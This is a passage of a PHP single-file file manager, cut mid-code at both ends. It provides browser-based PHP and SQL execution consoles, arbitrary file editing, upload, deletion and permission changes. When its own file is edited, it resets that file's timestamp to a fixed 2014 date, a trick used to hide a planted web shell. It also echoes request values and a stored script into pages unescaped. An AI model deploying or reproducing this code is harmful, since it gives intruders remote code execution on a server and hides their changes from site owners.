url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAdFQTFRF7e3t/f39pJ+f+cJajV8q6enpkGIm/sFO/+2O393c5ubm/sxbd29yimdneFg65OTk2zoY6uHi1zAS1crJsHs2nygo3Nrb2LBXrYtm2p5A/+hXpoRqpKOkwri46+vr0MG36Ysz6ujpmI6AnzUywL+/mXVSmIBN8bwwj1VByLGza1ZJ0NDQjYSB/9NjwZ6CwUAsxk0brZyWw7pmGZ4A6LtdkHdf/+N8yow27b5W87RNLZL/2biP7wAA//GJl5eX4NfYsaaLgp6h1b+t/+6R68Fe89ycimZd/uQv3r9NupCB99V25a1cVJbbnHhO/8xS+MBa8fDwi2Ji48qi/+qOdVIzs34x//GOXIzYp5SP/sxgqpiIcp+/siQpcmpstayszSANuKKT9PT04uLiwIky8LdE+sVWvqam8e/vL5IZ+rlH8cNg08Ccz7ad8vLy9LtU1qyUuZ4+r512+8s/wUpL3d3dx7W1fGNa/89Z2cfH+s5n6Ojob1Yts7Kz19fXwIg4p1dN+Pj4zLR0+8pd7strhKAs/9hj/9BV1KtftLS1np2dYlJSZFVV5LRWhEFB5rhZ/9Jq0HtT//CSkIqJ6K5D+LNNblVVvjM047ZMz7e31xEG////tKgu6wAAAJt0Uk5T/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////wCVVpKYAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAANZJREFUKFNjmKWiPQsZMMximsqPKpAb2MsAZNjLOwkzggVmJYnyps/QE59eKCEtBhaYFRfjZuThH27lY6kqBxYorS/OMC5wiHZkl2QCCVTkN+trtFj4ZSpMmawDFBD0lCoynzZBl1nIJj55ElBA09pdvc9buT1SYKYBWw1QIC0oNYsjrFHJpSkvRYsBKCCbM9HLN9tWrbqnjUUGZG1AhGuIXZRzpQl3aGwD2B2cZZ2zEoL7W+u6qyAunZXIOMvQrFykqwTiFzBQNOXj4QKzoAKzajtYIQwAlvtpl3V5c8MAAAAASUVORK5CYII="); } @media screen and (max-width:720px){ table{display:block;} #fm_table td{display:inline;float:left;} #fm_table tbody td:first-child{width:100%;padding:0;} #fm_table tbody tr:nth-child(2n+1){background-color:#EFEFEF;} #fm_table tbody tr:nth-child(2n){background-color:#DEE3E7;} #fm_table tr{display:block;float:left;clear:left;width:100%;} #header_table .row2, #header_table .row3 {display:inline;float:left;width:100%;padding:0;} #header_table table td {display:inline;float:left;} } </style> </head> <body> <?php $url_inc = '?fm=true'; if (isset($_POST['sqlrun'])&&!empty($fm_config['enable_sql_console'])){ $res = empty($_POST['sql']) ? '' : $_POST['sql']; $res_lng = 'sql'; } elseif (isset($_POST['phprun'])&&!empty($fm_config['enable_php_console'])){ $res = empty($_POST['php']) ? '' : $_POST['php']; $res_lng = 'php'; } if (isset($_GET['fm_settings'])) { echo ' <table class="whole"> <form method="post" action=""> <tr><th colspan="2">'.__('File manager').' - '.__('Settings').'</th></tr> '.(empty($msg)?'':'<tr><td class="row2" colspan="2">'.$msg.'</td></tr>').' '.fm_config_checkbox_row(__('Show size of the folder'),'show_dir_size').' '.fm_config_checkbox_row(__('Show').' '.__('pictures'),'show_img').' '.fm_config_checkbox_row(__('Show').' '.__('Make directory'),'make_directory').' '.fm_config_checkbox_row(__('Show').' '.__('New file'),'new_file').' '.fm_config_checkbox_row(__('Show').' '.__('Upload'),'upload_file').' '.fm_config_checkbox_row(__('Show').' PHP version','show_php_ver').' '.fm_config_checkbox_row(__('Show').' PHP ini','show_php_ini').' '.fm_config_checkbox_row(__('Show').' '.__('Generation time'),'show_gt').' '.fm_config_checkbox_row(__('Show').' xls','show_xls').' '.fm_config_checkbox_row(__('Show').' PHP '.__('Console'),'enable_php_console').' '.fm_config_checkbox_row(__('Show').' SQL '.__('Console'),'enable_sql_console').' <tr><td class="row1"><input name="fm_config[sql_server]" value="'.$fm_config['sql_server'].'" type="text"></td><td class="row2 whole">SQL server</td></tr> <tr><td class="row1"><input name="fm_config[sql_username]" value="'.$fm_config['sql_username'].'" type="text"></td><td class="row2 whole">SQL user</td></tr> <tr><td class="row1"><input name="fm_config[sql_password]" value="'.$fm_config['sql_password'].'" type="text"></td><td class="row2 whole">SQL password</td></tr> <tr><td class="row1"><input name="fm_config[sql_db]" value="'.$fm_config['sql_db'].'" type="text"></td><td class="row2 whole">SQL DB</td></tr> '.fm_config_checkbox_row(__('Show').' Proxy','enable_proxy').' '.fm_config_checkbox_row(__('Show').' phpinfo()','show_phpinfo').' '.fm_config_checkbox_row(__('Show').' '.__('Settings'),'fm_settings').' '.fm_config_checkbox_row(__('Restore file time after editing'),'restore_time').' '.fm_config_checkbox_row(__('File manager').': '.__('Restore file time after editing'),'fm_restore_time').' <tr><td class="row3"><a href="'.fm_url().'?fm_settings=true&fm_config_delete=true">'.__('Reset settings').'</a></td><td class="row3"><input type="submit" value="'.__('Save').'" name="fm_config[fm_set_submit]"></td></tr> </form> </table> <table> <form method="post" action=""> <tr><th colspan="2">'.__('Settings').' - '.__('Authorization').'</th></tr> <tr><td class="row1"><input name="fm_login[authorize]" value="1" '.($auth['authorize']?'checked':'').' type="checkbox" id="auth"></td><td class="row2 whole"><label for="auth">'.__('Authorization').'</label></td></tr> <tr><td class="row1"><input name="fm_login[login]" value="'.$auth['login'].'" type="text"></td><td class="row2 whole">'.__('Login').'</td></tr> <tr><td class="row1"><input name="fm_login[password]" value="'.$auth['password'].'" type="text"></td><td class="row2 whole">'.__('Password').'</td></tr> <tr><td class="row1"><input name="fm_login[cookie_name]" value="'.$auth['cookie_name'].'" type="text"></td><td class="row2 whole">'.__('Cookie').'</td></tr> <tr><td class="row1"><input name="fm_login[days_authorization]" value="'.$auth['days_authorization'].'" type="text"></td><td class="row2 whole">'.__('Days').'</td></tr> <tr><td class="row1"><textarea name="fm_login[script]" cols="35" rows="7" class="textarea_input" id="auth_script">'.$auth['script'].'</textarea></td><td class="row2 whole">'.__('Script').'</td></tr> <tr><td colspan="2" class="row3"><input type="submit" value="'.__('Save').'" ></td></tr> </form> </table>'; echo fm_tpl_form('php'),fm_tpl_form('sql'); } elseif (isset($proxy_form)) { die($proxy_form); } elseif (isset($res_lng)) { ?> <table class="whole"> <tr> <th><?=__('File manager').' - '.$path?></th> </tr> <tr> <td class="row2"><table><tr><td><h2><?=strtoupper($res_lng)?> <?=__('Console')?><?php if($res_lng=='sql') echo ' - Database: '.$fm_config['sql_db'].'</h2></td><td>'.fm_run_input('php'); else echo '</h2></td><td>'.fm_run_input('sql'); ?></td></tr></table></td> </tr> <tr> <td class="row1"> <a href="<?=$url_inc.'&path=' . $path;?>"><?=__('Back')?></a> <form action="" method="POST" name="console"> <textarea name="<?=$res_lng?>" cols="80" rows="10" style="width: 90%"><?=$res?></textarea><br/> <input type="reset" value="<?=__('Reset')?>"> <input type="submit" value="<?=__('Submit')?>" name="<?=$res_lng?>run"> <?php $str_tmpl = $res_lng.'_templates'; $tmpl = !empty($$str_tmpl) ? json_decode($$str_tmpl,true) : ''; if (!empty($tmpl)){ $active = isset($_POST[$res_lng.'_tpl']) ? $_POST[$res_lng.'_tpl'] : ''; $select = '<select name="'.$res_lng.'_tpl" title="'.__('Template').'" onchange="if (this.value!=-1) document.forms[\'console\'].elements[\''.$res_lng.'\'].value = this.options[selectedIndex].value; else document.forms[\'console\'].elements[\''.$res_lng.'\'].value =\'\';" >'."\n"; $select .= '<option value="-1">' . __('Select') . "</option>\n"; foreach ($tmpl as $key=>$value){ $select.='<option value="'.$value.'" '.((!empty($value)&&($value==$active))?'selected':'').' >'.__($key)."</option>\n"; } $select .= "</select>\n"; echo $select; } ?> </form> </td> </tr> </table> <?php if (!empty($res)) { $fun='fm_'.$res_lng; echo '<h3>'.strtoupper($res_lng).' '.__('Result').'</h3><pre>'.$fun($res).'</pre>'; } } elseif (!empty($_REQUEST['edit'])){ if(!empty($_REQUEST['save'])) { $fn = $path . $_REQUEST['edit']; $filemtime = filemtime($fn); if (file_put_contents($fn, $_REQUEST['newcontent'])) $msg .= __('File updated'); else $msg .= __('Error occurred'); if ($_GET['edit']==basename(__FILE__)) { touch(__FILE__,1415116371); } else { if (!empty($fm_config['restore_time'])) touch($fn,$filemtime); } } $oldcontent = @file_get_contents($path . $_REQUEST['edit']); $editlink = $url_inc . '&edit=' . $_REQUEST['edit'] . '&path=' . $path; $backlink = $url_inc . '&path=' . $path; ?> <script src="https://cdn.jsdelivr.net/gh/Den1xxx/EditArea@master/edit_area/edit_area_full.js"></script> <table border='0' cellspacing='0' cellpadding='1' width="100%"> <tr> <th><?=__('File manager').' - '.__('Edit').' - '.$path.$_REQUEST['edit']?></th> </tr> <tr> <td class="row1"> <?=$msg?> </td> </tr> <tr> <td class="row1"> <?=fm_home()?> <a href="<?=$backlink?>"><?=__('Back')?></a> </td> </tr> <tr> <td class="row1" align="center"> <form name="form1" method="post" action="<?=$editlink?>"> <textarea name="newcontent" id="newcontent" cols="45" rows="25" style="width:99%" spellcheck="false"><?=htmlspecialchars($oldcontent)?></textarea> <input type="submit" name="save" value="<?=__('Submit')?>"> <input type="submit" name="cancel" value="<?=__('Cancel')?>"> </form> </td> </tr> </table> <script language="Javascript" type="text/javascript"> document.addEventListener('DOMContentLoaded', function() { editAreaLoader.init({ id: "newcontent" ,display: "later" ,start_highlight: true ,allow_resize: "both" ,allow_toggle: true ,word_wrap: true ,language: "ru" ,syntax: "<?=pathinfo($_REQUEST['edit'], PATHINFO_EXTENSION)?>" ,toolbar: "search, go_to_line, |, undo, redo, |, select_font, |, syntax_selection, |, change_smooth_selection, highlight, reset_highlight, |, help" ,syntax_selection_allow: "css,html,js,php,python,xml,c,cpp,sql,basic,pas" }); }); </script> <?php echo $auth['script']; } elseif(!empty($_REQUEST['rights'])){ if(!empty($_REQUEST['save'])) { if(fm_chmod($path . $_REQUEST['rights'], fm_convert_rights($_REQUEST['rights_val']), @$_REQUEST['recursively'])) $msg .= (__('File updated')); else $msg .= (__('Error occurred')); } clearstatcache(); $oldrights = fm_rights_string($path . $_REQUEST['rights'], true); $link = $url_inc . '&rights=' . $_REQUEST['rights'] . '&path=' . $path; $backlink = $url_inc . '&path=' . $path; ?> <table class="whole"> <tr> <th><?=__('File manager').' - '.$path?></th> </tr> <tr> <td class="row1"> <?=$msg?> </td> </tr> <tr> <td class="row1"> <a href="<?=$backlink?>"><?=__('Back')?></a> </td> </tr> <tr> <td class="row1" align="center"> <form name="form1" method="post" action="<?=$link?>"> <?=__('Rights').' - '.$_REQUEST['rights']?> <input type="text" name="rights_val" value="<?=$oldrights?>"> <?php if (is_dir($path.$_REQUEST['rights'])) { ?> <input type="checkbox" name="recursively" value="1"> <?=__('Recursively')?><br/> <?php } ?> <input type="submit" name="save" value="<?=__('Submit')?>"> </form> </td> </tr> </table> <?php } elseif (!empty($_REQUEST['rename'])&&$_REQUEST['rename']<>'.') { if(!empty($_REQUEST['save'])) { rename($path . $_REQUEST['rename'], $path . $_REQUEST['newname']); $msg .= (__('File updated')); $_REQUEST['rename'] = $_REQUEST['newname']; } clearstatcache(); $link = $url_inc . '&rename=' . $_REQUEST['rename'] . '&path=' . $path; $backlink = $url_inc . '&path=' . $path; ?> <table class="whole"> <tr> <th><?=__('File manager').' - '.$path?></th> </tr> <tr> <td class="row1"> <?=$msg?> </td> </tr> <tr> <td class="row1"> <a href="<?=$backlink?>"><?=__('Back')?></a> </td> </tr> <tr> <td class="row1" align="center"> <form name="form1" method="post" action="<?=$link?>"> <?=__('Rename')?>: <input type="text" name="newname" value="<?=$_REQUEST['rename']?>"><br/> <input type="submit" name="save" value="<?=__('Submit')?>"> </form> </td> </tr> </table> <?php } else { //Let's rock! $msg = ''; if(!empty($_FILES['upload'])&&!empty($fm_config['upload_file'])) { if(!empty($_FILES['upload']['name'])){ $_FILES['upload']['name'] = str_replace('%', '', $_FILES['upload']['name']); if(!move_uploaded_file($_FILES['upload']['tmp_name'], $path . $_FILES['upload']['name'])){ $msg .= __('Error occurred'); } else { $msg .= __('Files uploaded').': '.$_FILES['upload']['name']; } } } elseif(!empty($_REQUEST['delete'])&&$_REQUEST['delete']<>'.') { if(!fm_del_files(($path . $_REQUEST['delete']), true)) { $msg .= __('Error occurred'); } else { $msg .= __('Deleted').' '.$_REQUEST['delete']; } } elseif(!empty($_REQUEST['mkdir'])&&!empty($fm_config['make_directory'])) { if(!@mkdir($path . $_REQUEST['dirname'],0777)) { $msg .= __('Error occurred'); } else { $msg .= __('Created').' '.$_REQUEST['dirname']; } } elseif(!empty($_POST['search_recursive'])) { ini_set('max_execution_time', '0'); $search_data = find_text_in_files($_POST['path'], $_POST['mask'], $_POST['search_recursive']); if(!empty($search_data)) { $msg .= __('Found in files').' ('.count($search_data).'):<br>'; foreach ($search_data as $filename) { $msg .= '<a href="'.fm_url(true).'?fm=true&edit='.basename($filename).'&path='.str_replace('/'.basename($filename),'/',$filename).'" title="' . __('Edit') . '">'.basename($filename).'</a> '; } } else { $msg .= __('Nothing founded'); } } elseif(!empty($_REQUEST['mkfile'])&&!empty($fm_config['new_file'])) { if(!$fp=@fopen($path . $_REQUEST['filename'],"w")) { $msg .= __('Error occurred'); } else { fclose($fp); $msg .= __('Created').' '.$_REQUEST['filename']; } } elseif (isset($_GET['zip'])) { $source = base64_decode($_GET['zip']); $destination = basename($source).'.zip'; set_time_limit(0); $phar = new PharData($destination); $phar->buildFromDirectory($source); if (is_file($destination)) $msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done'). '. '.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination) .' <a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '. $destination.'" >'.__('Delete') . '</a>'; else $msg .= __('Error occurred').': '.__('no files'); } elseif (isset($_GET['gz'])) { $source = base64_decode($_GET['gz']); $archive = $source.'.tar'; $destination = basename($source).'.tar'; if (is_file($archive)) unlink($archive); if (is_file($archive.'.gz')) unlink($archive.'.gz'); clearstatcache(); set_time_limit(0); //die(); $phar = new PharData($destination); $phar->buildFromDirectory($source); $phar->compress(Phar::GZ,'.tar.gz'); unset($phar); if (is_file($archive)) { if (is_file($archive.'.gz')) { unlink($archive); $destination .= '.gz'; } $msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done'). '. '.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination) .' <a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>'; } else $msg .= __('Error occurred').': '.__('no files'); } elseif (isset($_GET['decompress'])) { // $source = base64_decode($_GET['decompress']); // $destination = basename($source); // $ext = end(explode(".", $destination)); // if ($ext=='zip' OR $ext=='gz') { // $phar = new PharData($source); // $phar->decompress(); // $base_file = str_replace('.'.$ext,'',$destination); // $ext = end(explode(".", $base_file)); // if ($ext=='tar'){ // $phar = new PharData($base_file); // $phar->extractTo(dir($source)); // } // } // $msg .= __('Task').' "'.__('Decompress').' '.$source.'" '.__('done'); } elseif (isset($_GET['gzfile'])) { $source = base64_decode($_GET['gzfile']); $archive = $source.'.tar'; $destination = basename($source).'.tar'; if (is_file($archive)) unlink($archive); if (is_file($archive.'.gz')) unlink($archive.'.gz'); set_time_limit(0); //echo $destination; $ext_arr = explode('.',basename($source)); if (isset($ext_arr[1])) { unset($ext_arr[0]); $ext=implode('.',$ext_arr); } $phar = new PharData($destination); $phar->addFile($source); $phar->compress(Phar::GZ,$ext.'.tar.gz'); unset($phar); if (is_file($archive)) { if (is_file($archive.'.gz')) { unlink($archive); $destination .= '.gz'; } $msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done'). '. '.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination) .' <a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>'; } else $msg .= __('Error occurred').': '.__('no files'); } ?> <table class="whole" id="header_table" > <tr> <th colspan="2"><?=__('File manager')?><?=(!empty($path)?' - '.$path:'')?></th> </tr> <?php if(!empty($msg)){ ?> <tr> <td colspan="2" class="row2"><?=$msg?></td> </tr> <?php } ?> <tr> <td class="row2"> <table> <tr> <td> <?=fm_home()?> </td> <td> <?php if(!empty($fm_config['make_directory'])) { ?> <form method="post" action="<?=$url_inc?>"> <input type="hidden" name="path" value="<?=$path?>" /> <input type="text" name="dirname" size="15"> <input type="submit" name="mkdir" value="<?=__('Make directory')?>"> </form> <?php } ?> </td> <td> <?php if(!empty($fm_config['new_file'])) { ?> <form method="post" action="<?=$url_inc?>"> <input type="hidden" name="path" value="<?=$path?>" /> <input type="text" name="filename" size="15"> <input type="submit" name="mkfile" value="<?=__('New file')?>"> </form> <?php } ?> </td> <td> <form method="post" action="<?=$url_inc?>" style="display:inline"> <input type="hidden" name="path" value="<?=$path?>" /> <input type="text" placeholder="<?=__('Recursive search')?>" name="search_recursive" value="<?=!empty($_POST['search_recursive'])?$_POST['search_recursive']:''?>" size="15"> <input type="text" name="mask" placeholder="<?=__('Mask')?>" value="<?=!empty($_POST['mask'])?$_POST['mask']:'*.*'?>" size="5"> <input type="submit" name="search" value="<?=__('Search')?>"> </form> </td> <td> <?=fm_run_input('php')?> </td> <td> <?=fm_run_input('sql')?> </td> </tr> </table> </td> <td class="row3"> <table> <tr> <td> <?php if (!empty($fm_config['upload_file'])) { ?> <form name="form1" method="post" action="<?=$url_inc?>" enctype="multipart/form-data"> <input type="hidden" name="path" value="<?=$path?>" /> <input type="file" name="upload" id="upload_hidden" style="position: absolute; display: block; overflow: hidden; width: 0; height: 0; border: 0; padding: 0;" onchange="document.getElementById('upload_visible').value = this.value;" /> <input type="text" readonly="1" id="upload_visible" placeholder="<?=__('Select the file')?>" style="cursor: pointer;" onclick="document.getElementById('upload_hidden').click();" /> <input type="submit" name="test" value="<?=__('Upload')?>" /> </form> <?php } ?> </td> <td> <?php if ($auth['authorize']) { ?> <form action="" method="post"> <input name="quit" type="hidden" value="1"> <?=__('Hello')?>, <?=$auth['login']?> <input type="submit" value="<?=__('Quit')?>"> </form> <?php } ?> </td> <td> <?=fm_lang_form($language)?> </td> <tr> </table> </td> </tr> </table> <table class="all" border='0' cellspacing='1' cellpadding='1' id="fm_table" width="100%"> <thead> <tr> <th style="white-space:nowrap"> <?=__('Filename')?> </th> <th style="white-space:nowrap"> <?=__('Size')?> </th> <th style="white-space:nowrap"> <?=__('Date')?> </th> <th style="white-space:nowrap"> <?=__('Rights')?> </th> <th colspan="4" style="white-space:nowrap"> <?=__('Manage')?> </th> </tr> </thead> <tbody> <?php $elements = fm_scan_dir($path, '', 'all', true); $dirs = array(); $files = array(); foreach ($elements as $file){ if(@is_dir($path . $file)){ $dirs[] = $file; } else { $files[] = $file; } } natsort($dirs); natsort($files); $elements = array_merge($dirs, $files); foreach ($elements as $file){ $filename = $path . $file; $filedata = @stat($filename); if(@is_dir($filename)){ $filedata[7] = ''; if (!empty($fm_config['show_dir_size'])&&!fm_root($file)) $filedata[7] = fm_dir_size($filename); $link = '<a href="'.$url_inc.'&path='.$path.$file.'" title="'.__('Show').' '.$file.'"><span class="folder"> </span> '.$file.'</a>'; $loadlink= (fm_root($file)||$phar_maybe) ? '' : fm_link('zip',$filename,__('Compress').' zip',__('Archiving').' '. $file); $arlink = (fm_root($file)||$phar_maybe) ? '' : fm_link('gz',$filename,__('Compress').' .tar.gz',__('Archiving').' '.$file); $style = 'row2'; if (!fm_root($file)) $alert = 'onClick="if(confirm(\'' . __('Are you sure you want to delete this directory (recursively)?').'\n /'. $file. '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path . '\'"'; else $alert = ''; } else { $link = $fm_config['show_img']&&@getimagesize($filename) ? '<a target="_blank" onclick="var lefto = screen.availWidth/2-320;window.open(\'' . fm_img_link($filename) .'\',\'popup\',\'width=640,height=480,left=\' + lefto + \',scrollbars=yes,toolbar=no,location=no,directories=no,status=no\');return false;" href="'.fm_img_link($filename).'"><span class="img"> </span> '.$file.'</a>' : '<a href="' . $url_inc . '&edit=' . $file . '&path=' . $path. '" title="' . __('Edit') . '"><span class="file"> </span> '.$file.'</a>'; $e_arr = explode(".", $file); $ext = end($e_arr); $loadlink = fm_link('download',$filename,__('Download'),__('Download').' '. $file); $arlink = in_array($ext,array('zip','gz','tar')) ? '' : ((fm_root($file)||$phar_maybe) ? '' : fm_link('gzfile',$filename,__('Compress').' .tar.gz',__('Archiving').' '. $file)); $style = 'row1'; $alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path . '\'"'; } $deletelink = fm_root($file) ? '' : '<a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>'; $renamelink = fm_root($file) ? '' : '<a href="' . $url_inc . '&rename=' . $file . '&path=' . $path . '" title="' . __('Rename') .' '. $file . '">' . __('Rename') . '</a>'; $rightstext = ($file=='.' || $file=='..') ? '' : '<a href="' . $url_inc . '&rights=' . $file . '&path=' . $path . '" title="' . __('Rights') .' '. $file . '">' . @fm_rights_string($filename) . '</a>'; ?> <tr class="<?=$style?>"> <td><?=$link?></td> <td><?=$filedata[7]?></td> <td style="white-space:nowrap"><?=gmdate("Y-m-d H:i:s",$filedata[9])?></td> <td><?=$rightstext?></td> <td><?=$deletelink?></td> <td><?=$renamelink?></td> <td><?=$loadlink?></td> <td><?=$arlink?></td> </tr> <?php } } ?> </tbody> </table> <div class="row3"><?php $mtime = explode(' ', microtime()); $totaltime = $mtime[0] + $mtime[1] - $starttime; echo fm_home().' | ver. '.$fm_version.' | <a href="https://github.com/henriyzx/Filemanager">Github</a> | <a href="'.fm_site_url().'">.</a>'; if (!empty($fm_config['show_php_ver'])) echo ' | PHP '.phpversion(); if (!empty($fm_config['show_php_ini'])) echo ' | '.php_ini_loaded_file(); if (!empty($fm_config['show_gt'])) echo ' | '.__('Generation time').': '.round($totaltime,2); if (!empty($fm_config['enable_proxy'])) echo ' | <a href="?proxy=true">proxy</a>'; if (!empty($fm_config['show_phpinfo'])) echo ' | <a href="?phpinfo=true">phpinfo</a>'; if (!empty($fm_config['show_xls'])&&!empty($link)) echo ' | <a href="javascript: void(0)" onclick="var obj = new table2Excel(); obj.CreateExcelSheet(\'fm_table\',\'export\');" title="'.__('Download').' xls">xls</a>'; if (!empty($fm_config['fm_settings'])) echo ' | <a href="?fm_settings=true">'.__('Settings').'</a>'; ?> </div> <script type="text/javascript"> function download_xls(filename, text) { var element = document.createElement('a'); element.setAttribute('href', 'data:application/vnd.ms-excel;base64,' + text); element.setAttribute('download', filename); element.style.display = 'none'; document.body.appendChild(element); element.click(); document.body.removeChild(element); } function base64_encode(m) { for (var k = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/".split(""), c, d, h, e, a, g = "", b = 0, f, l = 0; l < m.length; ++l) { c = m.charCodeAt(l); if (128 > c) d = 1; else for (d = 2; c >= 2 << 5 * d;) ++d; for (h = 0; h < d; ++h) 1 == d ? e = c : (e = h ? 128 : 192, a = d - 2 - 6 * h, 0 <= a && (e += (6 <= a ? 1 : 0) + (5 <= a ? 2 : 0) + (4 <= a ? 4 : 0) + (3 <= a ? 8 : 0) + (2 <= a ? 16 : 0) + (1 <= a ? 32 : 0), a -= 5), 0 > a && (u = 6 * (d - 1 - h), e += c >> u, c -= c >> u << u)), f = b ? f << 6 - b : 0, b += 2, f += e >> b, g += k[f], f = e % (1 << b), 6 == b && (b = 0, g += k[f]) } b && (g += k[f << 6 - b]); return g } var tableToExcelData = (function() { var uri = 'data:application/vnd.ms-excel;base64,', template = '<html xmlns:o="urn:schemas-microsoft-com:office:office" xmlns:x="urn:schemas-microsoft-com:office:excel" xmlns="http://www.w3.org/TR/REC-html40"><head><!--[if gte mso 9]><xml><x:ExcelWorkbook><x:ExcelWorksheets><x:ExcelWorksheet><x:Name>{worksheet}</x:Name><x:WorksheetOptions><x:DisplayGridlines></x:DisplayGridlines></x:WorksheetOptions></x:ExcelWorksheet></x:ExcelWorksheets></x:ExcelWorkbook></xml><![endif]--><meta http-equiv="content-type" content="text/plain; charset=UTF-8"/></head><body><table>{table}</table></body></html>', format = function(s, c) { return s.replace(/{(\w+)}/g, function(m, p) { return c[p]; }) } return function(table, name) { if (!table.nodeType) table = document.getElementById(table) var ctx = { worksheet: name || 'Worksheet', table: table.innerHTML.replace(/<span(.*?)\/span> /g,"").replace(/<a\b[^>]*>(.*?)<\/a>/g,"$1") } t = new Date(); filename = 'fm_' + t.toISOString() + '.xls' download_xls(filename, base64_encode(format(template, ctx))) } })(); var table2Excel = function () { var ua = window.navigator.userAgent; var msie = ua.indexOf("MSIE "); this.CreateExcelSheet = function(el, name){ if (msie > 0 || !!navigator.userAgent.match(/Trident.*rv\:11\./)) {// If Internet Explorer var x = document.getElementById(el).rows; var xls = new ActiveXObject("Excel.Application"); xls.visible = true; xls.Workbooks.Add for (i = 0; i < x.length; i++) { var y = x[i].cells; for (j = 0; j < y.length; j++) { xls.Cells(i + 1, j + 1).Value = y[j].innerText; } } xls.Visible = true; xls.UserControl = true; return xls; } else { tableToExcelData(el, name); } } } </script> </body> </html> <?php //Ported from ReloadCMS project http://reloadcms.com class archiveTar { var $archive_name = ''; var $tmp_file = 0; var $file_pos = 0; var $isGzipped = true; var $errors = array(); var $files = array(); function __construct(){ if (!isset($this->errors)) $this->errors = array(); } function createArchive($file_list){ $result = false; if (file_exists($this->archive_name) && is_file($this->archive_name)) $newArchive = false; else $newArchive = true; if ($newArchive){ if (!$this->openWrite()) return false; } else { if (filesize($this->archive_name) == 0) return $this->openWrite(); if ($this->isGzipped) { $this->closeTmpFile(); if (!rename($this->archive_name, $this->archive_name.'.tmp')){ $this->errors[] = __('Cannot rename').' '.$this->archive_name.__(' to ').$this->archive_name.'.tmp'; return false; } $tmpArchive = gzopen($this->archive_name.'.tmp', 'rb'); if (!$tmpArchive){ $this->errors[] = $this->archive_name.'.tmp '.__('is not readable'); rename($this->archive_name.'.tmp', $this->archive_name); return false; } if (!$this->openWrite()){ rename($this->archive_name.'.tmp', $this->archive_name); return false; } $buffer = gzread($tmpArchive, 512); if (!gzeof($tmpArchive)){ do { $binaryData = pack('a512', $buffer); $this->writeBlock($binaryData); $buffer = gzread($tmpArchive, 512); } while (!gzeof($tmpArchive)); } gzclose($tmpArchive); unlink($this->archive_name.'.tmp'); } else { $this->tmp_file = fopen($this->archive_name, 'r+b'); if (!$this->tmp_file) return false; } } if (isset($file_list) && is_array($file_list)) { if (count($file_list)>0) $result = $this->packFileArray($file_list); } else $this->errors[] = __('No file').__(' to ').__('Archive'); if (($result)&&(is_resource($this->tmp_file))){ $binaryData = pack('a512', ''); $this->writeBlock($binaryData); } $this->closeTmpFile(); if ($newArchive && !$result){ $this->closeTmpFile(); unlink($this->archive_name); } return $result; } function restoreArchive($path){ $fileName = $this->archive_name; if (!$this->isGzipped){ if (file_exists($fileName)){ if ($fp = fopen($fileName, 'rb')){ $data = fread($fp, 2); fclose($fp); if ($data == '\37\213'){ $this->isGzipped = true; } } } elseif ((substr($fileName, -2) == 'gz') OR (substr($fileName, -3) == 'tgz')) $this->isGzipped = true; } $result = true; if ($this->isGzipped) $this->tmp_file = gzopen($fileName, 'rb'); else $this->tmp_file = fopen($fileName, 'rb'); if (!$this->tmp_file){ $this->errors[] = $fileName.' '.__('is not readable'); return false; } $result = $this->unpackFileArray($path); $this->closeTmpFile(); return $result; } function showErrors ($message = '') { $Errors = $this->errors; if(count($Errors)>0) { if (!empty($message)) $message = ' ('.$message.')'; $message = __('Error occurred').$message.': <br/>'; foreach ($Errors as $value) $message .= $value.'<br/>'; return $message; } else return ''; } function packFileArray($file_array){ $result = true; if (!$this->tmp_file){ $this->errors[] = __('Invalid file descriptor'); return false; } if (!is_array($file_array) || count($file_array)<=0) return true; for ($i = 0; $i<count($file_array); $i++){ $filename = $file_array[$i]; if ($filename == $this->archive_name) continue; if (strlen($filename)<=0) continue; if (!file_exists($filename)){ $this->errors[] = __('No file').' '.$filename; continue; } if (!$this->tmp_file){ $this->errors[] = __('Invalid file descriptor'); return false; } if (strlen($filename)<=0){ $this->errors[] = __('Filename').' '.__('is incorrect');; return false; } $filename = str_replace('\\', '/', $filename); $keep_filename = $this->makeGoodPath($filename); if (is_file($filename)){ if (($file = fopen($filename, 'rb')) == 0){ $this->errors[] = __('Mode ').__('is incorrect'); } if(($this->file_pos == 0)){ if(!$this->writeHeader($filename, $keep_filename)) return false; } while (($buffer = fread($file, 512)) != ''){ $binaryData = pack('a512', $buffer); $this->writeBlock($binaryData); } fclose($file); } else $this->writeHeader($filename, $keep_filename); if (@is_dir($filename)){ if (!($handle = opendir($filename))){ $this->errors[] = __('Error').': '.__('Directory ').$filename.__('is not readable'); continue; } while (false !== ($dir = readdir($handle))){ if ($dir!='.' && $dir!='..'){ $file_array_tmp = array(); if ($filename != '.') $file_array_tmp[] = $filename.'/'.$dir; else $file_array_tmp[] = $dir; $result = $this->packFileArray($file_array_tmp); } } unset($file_array_tmp); unset($dir); unset($handle); } } return $result; } function unpackFileArray($path){ $path = str_replace('\\', '/', $path); if ($path == '' || (substr($path, 0, 1) != '/' && substr($path, 0, 3) != '../' && !strpos($path, ':'))) $path = './'.$path; clearstatcache(); while (strlen($binaryData = $this->readBlock()) != 0){ if (!$this->readHeader($binaryData, $header)) return false; if ($header['filename'] == '') continue; if ($header['typeflag'] == 'L'){ //reading long header $filename = ''; $decr = 